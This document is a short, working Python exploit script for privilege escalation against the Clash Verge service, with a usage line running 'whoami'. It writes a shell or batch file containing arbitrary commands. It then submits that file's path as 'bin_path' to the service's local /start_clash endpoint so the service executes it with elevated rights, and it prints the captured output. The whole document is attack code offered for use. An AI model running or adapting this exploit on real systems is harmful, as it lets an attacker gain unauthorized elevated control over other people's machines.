python clash-verge-service-privilege-escalation-exp.py whoami

clash-verge-service-privilege-escalation-exp.py

from json import dumps
from os import name
from pathlib import Path
from sys import argv
from tempfile import mkdtemp
from urllib.request import Request, urlopen

temp = Path(mkdtemp())
pwn = temp / "pwn.bat"
log = temp / "log"

pwn.touch(0o755)
with pwn.open("w+") as f:
    match name:
        case "posix":
            print(
                f"#!/usr/bin/env bash\n{{}} &>{log}".format(" ".join(argv[1:])), file=f
            )
        case "nt":
            print(f"@{{}} >{log}".format(" ".join(argv[1:])), file=f)

with urlopen(
    Request(
        "http://127.0.0.1:33211/start_clash",
        dumps(
            {
                "bin_path": f"{pwn}",
                "config_dir": "",
                "config_file": "",
                "log_file": "",
            }
        ).encode(),
        headers={"Content-Type": "application/json"},
    )
) as f:
    f.read()

pwn.unlink()
with log.open() as f:
    print(f.read())
log.unlink()
temp.rmdir()